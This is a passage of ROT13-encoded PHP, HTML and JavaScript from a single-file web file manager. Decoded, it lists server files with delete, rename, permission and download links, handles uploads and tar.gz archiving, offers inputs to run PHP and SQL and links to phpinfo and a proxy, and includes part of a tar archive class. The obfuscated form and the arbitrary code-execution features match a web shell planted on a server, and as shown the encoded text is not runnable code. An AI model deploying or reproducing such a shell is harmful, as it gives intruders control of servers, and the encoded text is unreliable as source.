			// $onfr_svyr = fge_ercynpr('.'.$rkg,'',$qrfgvangvba);
			// $rkg = raq(rkcybqr(".", $onfr_svyr));
			// vs ($rkg=='gne'){
				// $cune = arj CuneQngn($onfr_svyr);
				// $cune->rkgenpgGb(qve($fbhepr));
			// }
		// } 
		// $zft .= __('Gnfx').' "'.__('Qrpbzcerff').' '.$fbhepr.'" '.__('qbar');
	} ryfrvs (vffrg($_TRG['tmsvyr'])) {
		$fbhepr = onfr64_qrpbqr($_TRG['tmsvyr']);
		$nepuvir = $fbhepr.'.gne';
		$qrfgvangvba = onfranzr($fbhepr).'.gne';
		vs (vf_svyr($nepuvir)) hayvax($nepuvir);
		vs (vf_svyr($nepuvir.'.tm')) hayvax($nepuvir.'.tm');
		frg_gvzr_yvzvg(0);
		//rpub $qrfgvangvba;
		$rkg_nee = rkcybqr('.',onfranzr($fbhepr));
		vs (vffrg($rkg_nee[1])) {
			hafrg($rkg_nee[0]);
			$rkg=vzcybqr('.',$rkg_nee);
		} 
		$cune = arj CuneQngn($qrfgvangvba);
		$cune->nqqSvyr($fbhepr);
		$cune->pbzcerff(Cune::TM,$rkg.'.gne.tm');
		hafrg($cune);
		vs (vf_svyr($nepuvir)) {
			vs (vf_svyr($nepuvir.'.tm')) {
				hayvax($nepuvir); 
				$qrfgvangvba .= '.tm';
			}
			$zft .= __('Gnfx').' "'.__('Nepuvivat').' '.$qrfgvangvba.'" '.__('qbar').
			'.&aofc;'.sz_yvax('qbjaybnq',$cngu.$qrfgvangvba,__('Qbjaybnq'),__('Qbjaybnq').' '. $qrfgvangvba)
			.'&aofc;<n uers="'.$hey_vap.'&qryrgr='.$qrfgvangvba.'&cngu=' . $cngu.'" gvgyr="'.__('Qryrgr').' '.$qrfgvangvba.'" >'.__('Qryrgr').'</n>';
		} ryfr $zft .= __('Reebe bppheerq').': '.__('ab svyrf');
	}
?>
<gnoyr pynff="jubyr" vq="urnqre_gnoyr" >
<ge>
    <gu pbyfcna="2"><?=__('Svyr znantre')?><?=(!rzcgl($cngu)?' - '.$cngu:'')?></gu>
</ge>
<?cuc vs(!rzcgl($zft)){ ?>
<ge>
	<gq pbyfcna="2" pynff="ebj2"><?=$zft?></gq>
</ge>
<?cuc } ?>
<ge>
    <gq pynff="ebj2">
		<gnoyr>
			<ge>
			<gq>
				<?=sz_ubzr()?>
			</gq>
			<gq>
			<?cuc vs(!rzcgl($sz_pbasvt['znxr_qverpgbel'])) { ?>
				<sbez zrgubq="cbfg" npgvba="<?=$hey_vap?>">
				<vachg glcr="uvqqra" anzr="cngu" inyhr="<?=$cngu?>" />
				<vachg glcr="grkg" anzr="qveanzr" fvmr="15">
				<vachg glcr="fhozvg" anzr="zxqve" inyhr="<?=__('Znxr qverpgbel')?>">
				</sbez>
			<?cuc } ?>
			</gq>
			<gq>
			<?cuc vs(!rzcgl($sz_pbasvt['arj_svyr'])) { ?>
				<sbez zrgubq="cbfg" npgvba="<?=$hey_vap?>">
				<vachg glcr="uvqqra" anzr="cngu"     inyhr="<?=$cngu?>" />
				<vachg glcr="grkg"   anzr="svyranzr" fvmr="15">
				<vachg glcr="fhozvg" anzr="zxsvyr"   inyhr="<?=__('Arj svyr')?>">
				</sbez>
			<?cuc } ?>
			</gq>
			<gq>
				<sbez  zrgubq="cbfg" npgvba="<?=$hey_vap?>" fglyr="qvfcynl:vayvar">
				<vachg glcr="uvqqra" anzr="cngu" inyhr="<?=$cngu?>" />
				<vachg glcr="grkg" cynprubyqre="<?=__('Erphefvir frnepu')?>" anzr="frnepu_erphefvir" inyhr="<?=!rzcgl($_CBFG['frnepu_erphefvir'])?$_CBFG['frnepu_erphefvir']:''?>" fvmr="15">
				<vachg glcr="grkg" anzr="znfx" cynprubyqre="<?=__('Znfx')?>" inyhr="<?=!rzcgl($_CBFG['znfx'])?$_CBFG['znfx']:'*.*'?>" fvmr="5">
				<vachg glcr="fhozvg" anzr="frnepu" inyhr="<?=__('Frnepu')?>">
				</sbez>
			</gq>
			<gq>
			<?=sz_eha_vachg('cuc')?>
			</gq>
			<gq>
			<?=sz_eha_vachg('fdy')?>
			</gq>
			</ge>
		</gnoyr>
    </gq>
    <gq pynff="ebj3">
		<gnoyr>
		<ge>
		<gq>
		<?cuc vs (!rzcgl($sz_pbasvt['hcybnq_svyr'])) { ?>
			<sbez anzr="sbez1" zrgubq="cbfg" npgvba="<?=$hey_vap?>" rapglcr="zhygvcneg/sbez-qngn">
			<vachg glcr="uvqqra" anzr="cngu" inyhr="<?=$cngu?>" />
			<vachg glcr="svyr" anzr="hcybnq" vq="hcybnq_uvqqra" fglyr="cbfvgvba: nofbyhgr; qvfcynl: oybpx; biresybj: uvqqra; jvqgu: 0; urvtug: 0; obeqre: 0; cnqqvat: 0;" bapunatr="qbphzrag.trgRyrzragOlVq('hcybnq_ivfvoyr').inyhr = guvf.inyhr;" />
			<vachg glcr="grkg" ernqbayl="1" vq="hcybnq_ivfvoyr" cynprubyqre="<?=__('Fryrpg gur svyr')?>" fglyr="phefbe: cbvagre;" bapyvpx="qbphzrag.trgRyrzragOlVq('hcybnq_uvqqra').pyvpx();" />
			<vachg glcr="fhozvg" anzr="grfg" inyhr="<?=__('Hcybnq')?>" />
			</sbez>
		<?cuc } ?>
		</gq>
		<gq>
		<?cuc vs ($nhgu['nhgubevmr']) { ?>
			<sbez npgvba="" zrgubq="cbfg">&aofc;&aofc;&aofc;
			<vachg anzr="dhvg" glcr="uvqqra" inyhr="1">
			<?=__('Uryyb')?>, <?=$nhgu['ybtva']?>
			<vachg glcr="fhozvg" inyhr="<?=__('Dhvg')?>">
			</sbez>
		<?cuc } ?>
		</gq>
		<gq>
		<?=sz_ynat_sbez($ynathntr)?>
		</gq>
		<ge>
		</gnoyr>
    </gq>
</ge>
</gnoyr>
<gnoyr pynff="nyy" obeqre='0' pryyfcnpvat='1' pryycnqqvat='1' vq="sz_gnoyr" jvqgu="100%">
<gurnq>
<ge> 
    <gu fglyr="juvgr-fcnpr:abjenc"> <?=__('Svyranzr')?> </gu>
    <gu fglyr="juvgr-fcnpr:abjenc"> <?=__('Fvmr')?> </gu>
    <gu fglyr="juvgr-fcnpr:abjenc"> <?=__('Qngr')?> </gu>
    <gu fglyr="juvgr-fcnpr:abjenc"> <?=__('Evtugf')?> </gu>
    <gu pbyfcna="4" fglyr="juvgr-fcnpr:abjenc"> <?=__('Znantr')?> </gu>
</ge>
</gurnq>
<gobql>
<?cuc
$ryrzragf = sz_fpna_qve($cngu, '', 'nyy', gehr);
$qvef = neenl();
$svyrf = neenl();
sbernpu ($ryrzragf nf $svyr){
    vs(@vf_qve($cngu . $svyr)){
        $qvef[] = $svyr;
    } ryfr {
        $svyrf[] = $svyr;
    }
}
angfbeg($qvef); angfbeg($svyrf);
$ryrzragf = neenl_zretr($qvef, $svyrf);

sbernpu ($ryrzragf nf $svyr){
    $svyranzr = $cngu . $svyr;
    $svyrqngn = @fgng($svyranzr);
    vs(@vf_qve($svyranzr)){
		$svyrqngn[7] = '';
		vs (!rzcgl($sz_pbasvt['fubj_qve_fvmr'])&&!sz_ebbg($svyr)) $svyrqngn[7] = sz_qve_fvmr($svyranzr);
        $yvax = '<n uers="'.$hey_vap.'&cngu='.$cngu.$svyr.'" gvgyr="'.__('Fubj').' '.$svyr.'"><fcna pynff="sbyqre">&aofc;&aofc;&aofc;&aofc;</fcna> '.$svyr.'</n>';
        $ybnqyvax= (sz_ebbg($svyr)||$cune_znlor) ? '' : sz_yvax('mvc',$svyranzr,__('Pbzcerff').'&aofc;mvc',__('Nepuvivat').' '. $svyr);
		$neyvax  = (sz_ebbg($svyr)||$cune_znlor) ? '' : sz_yvax('tm',$svyranzr,__('Pbzcerff').'&aofc;.gne.tm',__('Nepuvivat').' '.$svyr);
        $fglyr = 'ebj2';
		 vs (!sz_ebbg($svyr)) $nyreg = 'baPyvpx="vs(pbasvez(\'' . __('Ner lbh fher lbh jnag gb qryrgr guvf qverpgbel (erphefviryl)?').'\a /'. $svyr. '\')) qbphzrag.ybpngvba.uers = \'' . $hey_vap . '&qryrgr=' . $svyr . '&cngu=' . $cngu  . '\'"'; ryfr $nyreg = '';
    } ryfr {
		$yvax = 
			$sz_pbasvt['fubj_vzt']&&@trgvzntrfvmr($svyranzr) 
			? '<n gnetrg="_oynax" bapyvpx="ine yrsgb = fperra.ninvyJvqgu/2-320;jvaqbj.bcra(\''
			. sz_vzt_yvax($svyranzr)
			.'\',\'cbchc\',\'jvqgu=640,urvtug=480,yrsg=\' + yrsgb + \',fpebyyonef=lrf,gbbyone=ab,ybpngvba=ab,qverpgbevrf=ab,fgnghf=ab\');erghea snyfr;" uers="'.sz_vzt_yvax($svyranzr).'"><fcna pynff="vzt">&aofc;&aofc;&aofc;&aofc;</fcna> '.$svyr.'</n>'
			: '<n uers="' . $hey_vap . '&rqvg=' . $svyr . '&cngu=' . $cngu. '" gvgyr="' . __('Rqvg') . '"><fcna pynff="svyr">&aofc;&aofc;&aofc;&aofc;</fcna> '.$svyr.'</n>';
		$r_nee = rkcybqr(".", $svyr);
		$rkg = raq($r_nee);
        $ybnqyvax =  sz_yvax('qbjaybnq',$svyranzr,__('Qbjaybnq'),__('Qbjaybnq').' '. $svyr);
		$neyvax = va_neenl($rkg,neenl('mvc','tm','gne')) 
		? ''
		: ((sz_ebbg($svyr)||$cune_znlor) ? '' : sz_yvax('tmsvyr',$svyranzr,__('Pbzcerff').'&aofc;.gne.tm',__('Nepuvivat').' '. $svyr));
        $fglyr = 'ebj1';
		$nyreg = 'baPyvpx="vs(pbasvez(\''. __('Svyr fryrpgrq').': \a'. $svyr. '. \a'.__('Ner lbh fher lbh jnag gb qryrgr guvf svyr?') . '\')) qbphzrag.ybpngvba.uers = \'' . $hey_vap . '&qryrgr=' . $svyr . '&cngu=' . $cngu  . '\'"';
    }
    $qryrgryvax = sz_ebbg($svyr) ? '' : '<n uers="#" gvgyr="' . __('Qryrgr') . ' '. $svyr . '" ' . $nyreg . '>' . __('Qryrgr') . '</n>';
    $eranzryvax = sz_ebbg($svyr) ? '' : '<n uers="' . $hey_vap . '&eranzr=' . $svyr . '&cngu=' . $cngu . '" gvgyr="' . __('Eranzr') .' '. $svyr . '">' . __('Eranzr') . '</n>';
    $evtugfgrkg = ($svyr=='.' || $svyr=='..') ? '' : '<n uers="' . $hey_vap . '&evtugf=' . $svyr . '&cngu=' . $cngu . '" gvgyr="' . __('Evtugf') .' '. $svyr . '">' . @sz_evtugf_fgevat($svyranzr) . '</n>';
?>
<ge pynff="<?=$fglyr?>"> 
    <gq><?=$yvax?></gq>
    <gq><?=$svyrqngn[7]?></gq>
    <gq fglyr="juvgr-fcnpr:abjenc"><?=tzqngr("L-z-q U:v:f",$svyrqngn[9])?></gq>
    <gq><?=$evtugfgrkg?></gq>
    <gq><?=$qryrgryvax?></gq>
    <gq><?=$eranzryvax?></gq>
    <gq><?=$ybnqyvax?></gq>
    <gq><?=$neyvax?></gq>
</ge>
<?cuc
    }
}
?>
</gobql>
</gnoyr>
<qvi pynff="ebj3"><?cuc
	$zgvzr = rkcybqr(' ', zvpebgvzr()); 
	$gbgnygvzr = $zgvzr[0] + $zgvzr[1] - $fgneggvzr; 
	rpub sz_ubzr().' | ire. '.$sz_irefvba.' | <n uers="uggcf://tvguho.pbz/Qra1kkk/Svyrznantre">Tvguho</n>  | <n uers="'.sz_fvgr_hey().'">.</n>';
	vs (!rzcgl($sz_pbasvt['fubj_cuc_ire'])) rpub ' | CUC '.cucirefvba();
	vs (!rzcgl($sz_pbasvt['fubj_cuc_vav'])) rpub ' | '.cuc_vav_ybnqrq_svyr();
	vs (!rzcgl($sz_pbasvt['fubj_tg'])) rpub ' | '.__('Trarengvba gvzr').': '.ebhaq($gbgnygvzr,2);
	vs (!rzcgl($sz_pbasvt['ranoyr_cebkl'])) rpub ' | <n uers="?cebkl=gehr">cebkl</n>';
	vs (!rzcgl($sz_pbasvt['fubj_cucvasb'])) rpub ' | <n uers="?cucvasb=gehr">cucvasb</n>';
	vs (!rzcgl($sz_pbasvt['fubj_kyf'])&&!rzcgl($yvax)) rpub ' | <n uers="wninfpevcg: ibvq(0)" bapyvpx="ine bow = arj gnoyr2Rkpry(); bow.PerngrRkpryFurrg(\'sz_gnoyr\',\'rkcbeg\');" gvgyr="'.__('Qbjaybnq').' kyf">kyf</n>';
	vs (!rzcgl($sz_pbasvt['sz_frggvatf'])) rpub ' | <n uers="?sz_frggvatf=gehr">'.__('Frggvatf').'</n>';
	?>
</qvi>
<fpevcg glcr="grkg/wninfpevcg">
shapgvba qbjaybnq_kyf(svyranzr, grkg) {
	ine ryrzrag = qbphzrag.perngrRyrzrag('n');
	ryrzrag.frgNggevohgr('uers', 'qngn:nccyvpngvba/iaq.zf-rkpry;onfr64,' + grkg);
	ryrzrag.frgNggevohgr('qbjaybnq', svyranzr);
	ryrzrag.fglyr.qvfcynl = 'abar';
	qbphzrag.obql.nccraqPuvyq(ryrzrag);
	ryrzrag.pyvpx();
	qbphzrag.obql.erzbirPuvyq(ryrzrag);
}

shapgvba onfr64_rapbqr(z) {
	sbe (ine x = "NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm0123456789+/".fcyvg(""), p, q, u, r, n, t = "", o = 0, s, y = 0; y < z.yratgu; ++y) {
		p = z.punePbqrNg(y);
		vs (128 > p) q = 1;
		ryfr
			sbe (q = 2; p >= 2 << 5 * q;) ++q;
		sbe (u = 0; u < q; ++u) 1 == q ? r = p : (r = u ? 128 : 192, n = q - 2 - 6 * u, 0 <= n && (r += (6 <= n ? 1 : 0) + (5 <= n ? 2 : 0) + (4 <= n ? 4 : 0) + (3 <= n ? 8 : 0) + (2 <= n ? 16 : 0) + (1 <= n ? 32 : 0), n -= 5), 0 > n && (h = 6 * (q - 1 - u), r += p >> h, p -= p >> h << h)), s = o ? s << 6 - o : 0, o += 2, s += r >> o, t += x[s], s = r % (1 << o), 6 == o && (o = 0, t += x[s])
	}
	o && (t += x[s << 6 - o]);
	erghea t
}


ine gnoyrGbRkpryQngn = (shapgvba() {
    ine hev = 'qngn:nccyvpngvba/iaq.zf-rkpry;onfr64,',
    grzcyngr = '<ugzy kzyaf:b="hea:fpurznf-zvpebfbsg-pbz:bssvpr:bssvpr" kzyaf:k="hea:fpurznf-zvpebfbsg-pbz:bssvpr:rkpry" kzyaf="uggc://jjj.j3.bet/GE/ERP-ugzy40"><urnq><!--[vs tgr zfb 9]><kzy><k:RkpryJbexobbx><k:RkpryJbexfurrgf><k:RkpryJbexfurrg><k:Anzr>{jbexfurrg}</k:Anzr><k:JbexfurrgBcgvbaf><k:QvfcynlTevqyvarf></k:QvfcynlTevqyvarf></k:JbexfurrgBcgvbaf></k:RkpryJbexfurrg></k:RkpryJbexfurrgf></k:RkpryJbexobbx></kzy><![raqvs]--><zrgn uggc-rdhvi="pbagrag-glcr" pbagrag="grkg/cynva; punefrg=HGS-8"/></urnq><obql><gnoyr>{gnoyr}</gnoyr></obql></ugzy>',
    sbezng = shapgvba(f, p) {
            erghea f.ercynpr(/{(\j+)}/t, shapgvba(z, c) {
                erghea p[c];
            })
        }
    erghea shapgvba(gnoyr, anzr) {
        vs (!gnoyr.abqrGlcr) gnoyr = qbphzrag.trgRyrzragOlVq(gnoyr)
        ine pgk = {
            jbexfurrg: anzr || 'Jbexfurrg',
            gnoyr: gnoyr.vaareUGZY.ercynpr(/<fcna(.*?)\/fcna> /t,"").ercynpr(/<n\o[^>]*>(.*?)<\/n>/t,"$1")
        }
		g = arj Qngr();
		svyranzr = 'sz_' + g.gbVFBFgevat() + '.kyf'
		qbjaybnq_kyf(svyranzr, onfr64_rapbqr(sbezng(grzcyngr, pgk)))
    }
})();

ine gnoyr2Rkpry = shapgvba () {

    ine hn = jvaqbj.anivtngbe.hfreNtrag;
    ine zfvr = hn.vaqrkBs("ZFVR ");

	guvf.PerngrRkpryFurrg = 
		shapgvba(ry, anzr){
			vs (zfvr > 0 || !!anivtngbe.hfreNtrag.zngpu(/Gevqrag.*ei\:11\./)) {// Vs Vagrearg Rkcybere

				ine k = qbphzrag.trgRyrzragOlVq(ry).ebjf;

				ine kyf = arj NpgvirKBowrpg("Rkpry.Nccyvpngvba");

				kyf.ivfvoyr = gehr;
				kyf.Jbexobbxf.Nqq
				sbe (v = 0; v < k.yratgu; v++) {
					ine l = k[v].pryyf;

					sbe (w = 0; w < l.yratgu; w++) {
						kyf.Pryyf(v + 1, w + 1).Inyhr = l[w].vaareGrkg;
					}
				}
				kyf.Ivfvoyr = gehr;
				kyf.HfrePbageby = gehr;
				erghea kyf;
			} ryfr {
				gnoyrGbRkpryQngn(ry, anzr);
			}
		}
}
</fpevcg>
</obql>
</ugzy>

<?cuc
//Cbegrq sebz ErybnqPZF cebwrpg uggc://erybnqpzf.pbz
pynff nepuvirGne {
	ine $nepuvir_anzr = '';
	ine $gzc_svyr = 0;
	ine $svyr_cbf = 0;
	ine $vfTmvccrq = gehr;
	ine $reebef = neenl();
	ine $svyrf = neenl();
	
	shapgvba __pbafgehpg(){
		vs (!vffrg($guvf->reebef)) $guvf->reebef = neenl();
	}
	
	shapgvba perngrNepuvir($svyr_yvfg){
		$erfhyg = snyfr;
		vs (svyr_rkvfgf($guvf->nepuvir_anzr) && vf_svyr($guvf->nepuvir_anzr)) 	$arjNepuvir = snyfr;
		ryfr $arjNepuvir = gehr;
		vs ($arjNepuvir){
			vs (!$guvf->bcraJevgr()) erghea snyfr;
		} ryfr {
			vs (svyrfvmr($guvf->nepuvir_anzr) == 0)	erghea $guvf->bcraJevgr();
			vs ($guvf->vfTmvccrq) {
				$guvf->pybfrGzcSvyr();
				vs (!eranzr($guvf->nepuvir_anzr, $guvf->nepuvir_anzr.'.gzc')){
					$guvf->reebef[] = __('Pnaabg eranzr').' '.$guvf->nepuvir_anzr.__(' gb ').$guvf->nepuvir_anzr.'.gzc';
					erghea snyfr;
				}
				$gzcNepuvir = tmbcra($guvf->nepuvir_anzr.'.gzc', 'eo');
				vs (!$gzcNepuvir){
					$guvf->reebef[] = $guvf->nepuvir_anzr.'.gzc '.__('vf abg ernqnoyr');
					eranzr($guvf->nepuvir_anzr.'.gzc', $guvf->nepuvir_anzr);
					erghea snyfr;
				}
				vs (!$guvf->bcraJevgr()){
					eranzr($guvf->nepuvir_anzr.'.gzc', $guvf->nepuvir_anzr);
					erghea snyfr;
				}
				$ohssre = tmernq($gzcNepuvir, 512);
				vs (!tmrbs($gzcNepuvir)){
					qb {
						$ovanelQngn = cnpx('n512', $ohssre);
						$guvf->jevgrOybpx($ovanelQngn);
						$ohssre = tmernq($gzcNepuvir, 512);
					}
					juvyr (!tmrbs($gzcNepuvir));
				}
				tmpybfr($gzcNepuvir);
				hayvax($guvf->nepuvir_anzr.'.gzc');
			} ryfr {
				$guvf->gzc_svyr = sbcra($guvf->nepuvir_anzr, 'e+o');
				vs (!$guvf->gzc_svyr)	erghea snyfr;
			}
		}
		vs (vffrg($svyr_yvfg) && vf_neenl($svyr_yvfg)) {
		vs (pbhag($svyr_yvfg)>0)
			$erfhyg = $guvf->cnpxSvyrNeenl($svyr_yvfg);
		} ryfr $guvf->reebef[] = __('Ab svyr').__(' gb ').__('Nepuvir');
		vs (($erfhyg)&&(vf_erfbhepr($guvf->gzc_svyr))){
			$ovanelQngn = cnpx('n512', '');
			$guvf->jevgrOybpx($ovanelQngn);
		}
		$guvf->pybfrGzcSvyr();
		vs ($arjNepuvir && !$erfhyg){
		$guvf->pybfrGzcSvyr();
		hayvax($guvf->nepuvir_anzr);
		}
		erghea $erfhyg;
	}

	shapgvba erfgberNepuvir($cngu){
		$svyrAnzr = $guvf->nepuvir_anzr;
		vs (!$guvf->vfTmvccrq){
			vs (svyr_rkvfgf($svyrAnzr)){
				vs ($sc = sbcra($svyrAnzr, 'eo')){
					$qngn = sernq($sc, 2);
					spybfr($sc);
					vs ($qngn == '\37\213'){
						$guvf->vfTmvccrq = gehr;
					}
				}
			}
			ryfrvs ((fhofge($svyrAnzr, -2) == 'tm') BE (fhofge($svyrAnzr, -3) == 'gtm')) $guvf->vfTmvccrq = gehr;
		} 
		$erfhyg = gehr;
		vs ($guvf->vfTmvccrq) $guvf->gzc_svyr = tmbcra($svyrAnzr, 'eo');
		ryfr $guvf->gzc_svyr = sbcra($svyrAnzr, 'eo');
		vs (!$guvf->gzc_svyr){
			$guvf->reebef[] = $svyrAnzr.' '.__('vf abg ernqnoyr');
			erghea snyfr;
		}
		$erfhyg = $guvf->hacnpxSvyrNeenl($cngu);
			$guvf->pybfrGzcSvyr();
		erghea $erfhyg;
	}

	shapgvba fubjReebef	($zrffntr = '') {
		$Reebef = $guvf->reebef;
		vs(pbhag($Reebef)>0) {
		vs (!rzcgl($zrffntr)) $zrffntr = ' ('.$zrffntr.')';
			$zrffntr = __('Reebe bppheerq').$zrffntr.': <oe/>';
			sbernpu ($Reebef nf $inyhr)
				$zrffntr .= $inyhr.'<oe/>';
			erghea $zrffntr;	
		} ryfr erghea '';
		
	}
	
	shapgvba cnpxSvyrNeenl($svyr_neenl){
		$erfhyg = gehr;
		vs (!$guvf->gzc_svyr){
			$guvf->reebef[] = __('Vainyvq svyr qrfpevcgbe');
			erghea snyfr;
		}
		vs (!vf_neenl($svyr_neenl) || pbhag($svyr_neenl)<=0)
          erghea gehr;
		sbe ($v = 0; $v<pbhag($svyr_neenl); $v++){
			$svyranzr = $svyr_neenl[$v];
			vs ($svyranzr == $guvf->nepuvir_anzr)
				pbagvahr;
			vs (fgeyra($svyranzr)<=0)
				pbagvahr;
			vs (!svyr_rkvfgf($svyranzr)){
				$guvf->reebef[] = __('Ab svyr').' '.$svyranzr;
				pbagvahr;
			}
			vs (!$guvf->gzc_svyr){
			$guvf->reebef[] = __('Vainyvq svyr qrfpevcgbe');
			erghea snyfr;
			}
		vs (fgeyra($svyranzr)<=0){
			$guvf->reebef[] = __('Svyranzr').' '.__('vf vapbeerpg');;
			erghea snyfr;
		}
		$svyranzr = fge_ercynpr('\\', '/', $svyranzr);
		$xrrc_svyranzr = $guvf->znxrTbbqCngu($svyranzr);
		vs (vf_svyr($svyranzr)){
			vs (($svyr = sbcra($svyranzr, 'eo')) == 0){
				$guvf->reebef[] = __('Zbqr ').__('vf vapbeerpg');
			}
				vs(($guvf->svyr_cbf == 0)){
					vs(!$guvf->jevgrUrnqre($svyranzr, $xrrc_svyranzr))
						erghea snyfr;
				}
				juvyr (($ohssre = sernq($svyr, 512)) != ''){
					$ovanelQngn = cnpx('n512', $ohssre);
					$guvf->jevgrOybpx($ovanelQngn);
				}
			spybfr($svyr);
		}	ryfr $guvf->jevgrUrnqre($svyranzr, $xrrc_svyranzr);
			vs (@vf_qve($svyranzr)){
				vs (!($unaqyr = bcraqve($svyranzr))){
					$guvf->reebef[] = __('Reebe').': '.__('Qverpgbel ').$svyranzr.__('vf abg ernqnoyr');
					pbagvahr;
				}
				juvyr (snyfr !== ($qve = ernqqve($unaqyr))){
					vs ($qve!='.' && $qve!='..'){
						$svyr_neenl_gzc = neenl();
						vs ($svyranzr != '.')
							$svyr_neenl_gzc[] = $svyranzr.'/'.$qve;
						ryfr
							$svyr_neenl_gzc[] = $qve;

						$erfhyg = $guvf->cnpxSvyrNeenl($svyr_neenl_gzc);
					}
				}
				hafrg($svyr_neenl_gzc);
				hafrg($qve);
				hafrg($unaqyr);
			}
		}
		erghea $erfhyg;
	}

	shapgvba hacnpxSvyrNeenl($cngu){ 
		$cngu = fge_ercynpr('\\', '/', $cngu);
		vs ($cngu == ''	|| (fhofge($cngu, 0, 1) != '/' && fhofge($cngu, 0, 3) != '../' && !fgecbf($cngu, ':')))	$cngu = './'.$cngu;
		pyrnefgngpnpur();
		juvyr (fgeyra($ovanelQngn = $guvf->ernqOybpx()) != 0){
			vs (!$guvf->ernqUrnqre($ovanelQngn, $urnqre)) erghea snyfr;
			vs ($urnqre['svyranzr'] == '') pbagvahr;
			vs ($urnqre['glcrsynt'] == 'Y'){			//ernqvat ybat urnqre
				$svyranzr = '';
				$qrpe = sybbe($urnqre['fvmr']/512);
				sbe ($v = 0; $v < $qrpe; $v++){
					$pbagrag = $guvf->ernqOybpx();
					$svyranzr .= $pbagrag;
				}
				vs (($ynfcvrpr = $urnqre['fvmr'] % 512) != 0){
					$pbagrag = $guvf->ernqOybpx();
					$svyranzr .= fhofge($pbagrag, 0, $ynfcvrpr);
				}
				$ovanelQngn = $guvf->ernqOybpx();
				vs (!$guvf->ernqUrnqre($ovanelQngn, $urnqre)) erghea snyfr;
				ryfr $urnqre['svyranzr'] = $svyranzr;
				erghea gehr;
			}
			vs (($cngu != './') && ($cngu != '/')){
				juvyr (fhofge($cngu, -1) == '/') $cngu = fhofge($cngu, 0, fgeyra($cngu)-1);
				vs (fhofge($urnqre['svyranzr'], 0, 1) == '/') $urnqre['svyranzr'] = $cngu.$urnqre['svyranzr'];
				ryfr $urnqre['svyranzr'] = $cngu.'/'.$urnqre['svyranzr'];
			}
			
			vs (svyr_rkvfgf($urnqre['svyranzr'])){
				vs ((@vf_qve($urnqre['svyranzr'])) && ($urnqre['glcrsynt'] == '')){
					$guvf->reebef[] =__('Svyr ').$urnqre['svyranzr'].__(' nyernql rkvfgf').__(' nf sbyqre');
					erghea snyfr;
				}
				vs ((vf_svyr($urnqre['svyranzr'])) && ($urnqre['glcrsynt'] == '5')){
					$guvf->reebef[] =__('Pnaabg perngr qverpgbel').'. '.__('Svyr ').$urnqre['svyranzr'].__(' nyernql rkvfgf');
					erghea snyfr;
				}
				vs (!vf_jevgrnoyr($urnqre['svyranzr'])){
					$guvf->reebef[] = __('Pnaabg jevgr gb svyr').'. '.__('Svyr ').$urnqre['svyranzr'].__(' nyernql rkvfgf');
					erghea snyfr;
				}
			} ryfrvs (($guvf->qvePurpx(($urnqre['glcrsynt'] == '5' ? $urnqre['svyranzr'] : qveanzr($urnqre['svyranzr'])))) != 1){
				$guvf->reebef[] = __('Pnaabg perngr qverpgbel').' '.__(' sbe ').$urnqre['svyranzr'];
				erghea snyfr;
			}

			vs ($urnqre['glcrsynt'] == '5'){
				vs (!svyr_rkvfgf($urnqre['svyranzr']))		{
					vs (!zxqve($urnqre['svyranzr'], 0777))	{
						
						$guvf->reebef[] = __('Pnaabg perngr qverpgbel').' '.$urnqre['svyranzr'];
						erghea snyfr;
					} 
				}
			} ryfr {
				vs (($qrfgvangvba = sbcra($urnqre['svyranzr'], 'jo')) == 0) {
					$guvf->reebef[] = __('Pnaabg jevgr gb svyr').' '.$urnqre['svyranzr'];
					erghea snyfr;
				} ryfr {
					$qrpe = sybbe($urnqre['fvmr']/512);
					sbe ($v = 0; $v < $qrpe; $v++) {
						$pbagrag = $guvf->ernqOybpx();
						sjevgr($qrfgvangvba, $pbagrag, 512);
					}
					vs (($urnqre['fvmr'] % 512) != 0) {
						$pbagrag = $guvf->ernqOybpx();
						sjevgr($qrfgvangvba, $pbagrag, ($urnqre['fvmr'] % 512));
					}
					spybfr($qrfgvangvba);
					gbhpu($urnqre['svyranzr'], $urnqre['gvzr']);
				}
				pyrnefgngpnpur();
				vs (svyrfvmr($urnqre['svyranzr']) != $urnqre['fvmr']) {
					$guvf->reebef[] = __('Fvmr bs svyr').' '.$urnqre['svyranzr'].' '.__('vf vapbeerpg');
					erghea snyfr;
				}
			}
			vs (($svyr_qve = qveanzr($urnqre['svyranzr'])) == $urnqre['svyranzr']) $svyr_qve = '';
			vs ((fhofge($urnqre['svyranzr'], 0, 1) == '/') && ($svyr_qve == '')) $svyr_qve = '/';
			$guvf->qvef[] = $svyr_qve;
			$guvf->svyrf[] = $urnqre['svyranzr'];
	
		}
		erghea gehr;
	}

	shapgvba qvePurpx($qve){
		$cnerag_qve = qveanzr($qve);

		vs ((@vf_qve($qve)) be ($qve == ''))
			erghea gehr;

		vs (($cnerag_qve != $qve) naq ($cnerag_qve != '') naq (!$guvf->qvePurpx($cnerag_qve)))
			erghea snyfr;

		vs (!zxqve($qve, 0777)){
			$guvf->reebef[] = __('Pnaabg perngr qverpgbel').' '.$qve;
			erghea snyfr;
		}
		erghea gehr;
	}

	shapgvba ernqUrnqre($ovanelQngn, &$urnqre){
		vs (fgeyra($ovanelQngn)==0){
			$urnqre['svyranzr'] = '';
			erghea gehr;
		}

		vs (fgeyra($ovanelQngn) != 512){
			$urnqre['svyranzr'] = '';
			$guvf->__('Vainyvq oybpx fvmr').': '.fgeyra($ovanelQngn);
			erghea snyfr;
		}

		$purpxfhz = 0;
		sbe ($v = 0; $v < 148; $v++) $purpxfhz+=beq(fhofge($ovanelQngn, $v, 1));
		sbe ($v = 148; $v < 156; $v++) $purpxfhz += beq(' ');
		sbe ($v = 156; $v < 512; $v++) $purpxfhz+=beq(fhofge($ovanelQngn, $v, 1));

		$hacnpx_qngn = hacnpx('n100svyranzr/n8zbqr/n8hfre_vq/n8tebhc_vq/n12fvmr/n12gvzr/n8purpxfhz/n1glcrsynt/n100yvax/n6zntvp/n2irefvba/n32hanzr/n32tanzr/n8qriznwbe/n8qrizvabe', $ovanelQngn);

		$urnqre['purpxfhz'] = BpgQrp(gevz($hacnpx_qngn['purpxfhz']));
		vs ($urnqre['purpxfhz'] != $purpxfhz){
			$urnqre['svyranzr'] = '';
			vs (($purpxfhz == 256) && ($urnqre['purpxfhz'] == 0)) 	erghea gehr;
			$guvf->reebef[] = __('Reebe purpxfhz sbe svyr ').$hacnpx_qngn['svyranzr'];
			erghea snyfr;
		}

		vs (($urnqre['glcrsynt'] = $hacnpx_qngn['glcrsynt']) == '5')	$urnqre['fvmr'] = 0;
		$urnqre['svyranzr'] = gevz($hacnpx_qngn['svyranzr']);
